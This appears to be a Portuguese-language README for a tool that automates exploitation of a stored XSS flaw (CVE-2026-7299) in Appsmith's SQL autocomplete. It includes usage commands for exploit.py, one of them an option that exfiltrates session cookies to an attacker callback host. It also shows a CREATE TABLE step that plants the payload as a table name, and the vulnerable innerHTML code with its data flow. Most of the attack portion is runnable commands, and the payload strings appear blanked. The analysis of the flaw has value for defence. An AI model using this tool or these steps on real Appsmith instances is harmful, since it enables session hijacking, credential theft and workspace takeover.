
Automatizando a exploração do CVE-2026-7299 - XSS Armazenado via Nomes de Tabelas/Colunas do Banco de Dados no SQL Autocomplete dentro do Appsmith =>1.99. Descoberta inicial 30/03/26
Exploit automatizado para uma vulnerabilidade de cross-site scripting armazenada no editor de consultas SQL do Appsmith. Um Desenvolvedor do workspace pode injetar JavaScript arbitrário através de nomes de tabelas do banco de dados que são executados no navegador de qualquer outro membro do workspace quando o autocomplete SQL é acionado.
Confirmado no Appsmith v1.98 e provavelmente afeta todas as versões anteriores onde o renderizador de dicas SQL personalizado está presente. A vulnerabilidade existe em hintHelpers.ts:165 onde a renderização padrão segura de dicas do CodeMirror (textContent) é sobrescrita por um callback render personalizado que usa innerHTML para exibir nomes de tabelas e colunas do banco de dados sem qualquer sanitização.
Prova de conceito de alerta básico:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1!
Exfiltração de cookies para um servidor callback:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--callback-url http://attacker.com:8888
Payload personalizado:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--custom-payload ''
Se não existir uma fonte de dados PostgreSQL ainda, o script descobre automaticamente as conexões ou você pode fornecer credenciais:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--db-host postgres --db-name testdb --db-user postgres --db-pass postgres

Appsmith é uma plataforma low-code de código aberto onde equipes constroem ferramentas internas conectando fontes de dados e escrevendo consultas. O editor de consultas SQL fornece sugestões de autocomplete preenchidas a partir dos metadados de tabelas e colunas do banco de dados conectado.
A renderização do autocomplete em hintHelpers.ts usa um callback render personalizado do CodeMirror:
completion.render = (LiElement, _data, { className, text }) => {
const { hintType, iconBgType, iconText } = getHintDetailsFromClassName(text, className);
LiElement.setAttribute("hinttype", hintType);
LiElement.setAttribute("icontext", iconText);
LiElement.classList.add("cm-sql-hint");
LiElement.classList.add(`cm-sql-hint-${iconBgType}`);
LiElement.innerHTML = text; // <-- unsanitized table/column name
};
A renderização padrão de dicas do CodeMirror 5 usa textContent (seguro). O Appsmith sobrescreve isso com innerHTML para adicionar classes CSS personalizadas e atributos de ícone para estilização, mas o conteúdo de texto real (o nome da tabela) é atribuído como HTML bruto. Não existe sanitização em nenhum ponto do fluxo de dados de 8 etapas, do catálogo do banco de dados à renderização no DOM.
Todo o ataque é realizado através da interface web do Appsmith.
CREATE TABLE com um payload de XSS como nome da tabela. O PostgresPlugin do Appsmith não realiza nenhuma filtragem de DDL, statement.execute(query) aceita qualquer SQL válido, incluindo DDL.CREATE TABLE "" (id serial primary key);
Qualquer outro membro do workspace abre o editor de consultas SQL para a mesma fonte de dados e começa a digitar uma consulta. O dropdown de autocomplete aparece com sugestões de nomes de tabelas obtidas dos metadados do banco de dados. O nome da tabela maliciosa é renderizado via innerHTML, executando o payload JavaScript na sessão do navegador da vítima.
O XSS é executado no contexto da aplicação Appsmith com a sessão da vítima. Um atacante pode roubar cookies de sessão (XSRF-TOKEN, SESSION), exfiltrar credenciais da fonte de dados ou fazer chamadas de API como a vítima. Se a vítima for um Administrador, o atacante escala para controle total do workspace.
PostgreSQL pg_catalog (table_name, column_name)
-> PostgresPlugin.getStructure() [sem sanitização]
-> DatasourceStructure Java POJO [sem sanitização]
-> REST API /api/v1/datasources/{id}/structure [sem sanitização]
-> Redux state.entities.datasources [sem sanitização]
-> getAllDatasourceTableKeys selector [sem sanitização]
-> SqlHintHelper.setDatasourceTableKeys() [sem sanitização]
-> CodeMirror hint.sql() completions [sem sanitização]
-> LiElement.innerHTML = text [XSS]
Nenhuma sanitização presente, renderizando o payload para innerHTML que é executado no DOM quando chamado pelo renderizador de autocomplete.
app/client/src/components/editorComponents/CodeEditor/hintHelpers.ts:165Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. Utilize apenas contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. Não me responsabilizo por qualquer uso indevido ou dano causado por esta ferramenta.
Feliz hacking!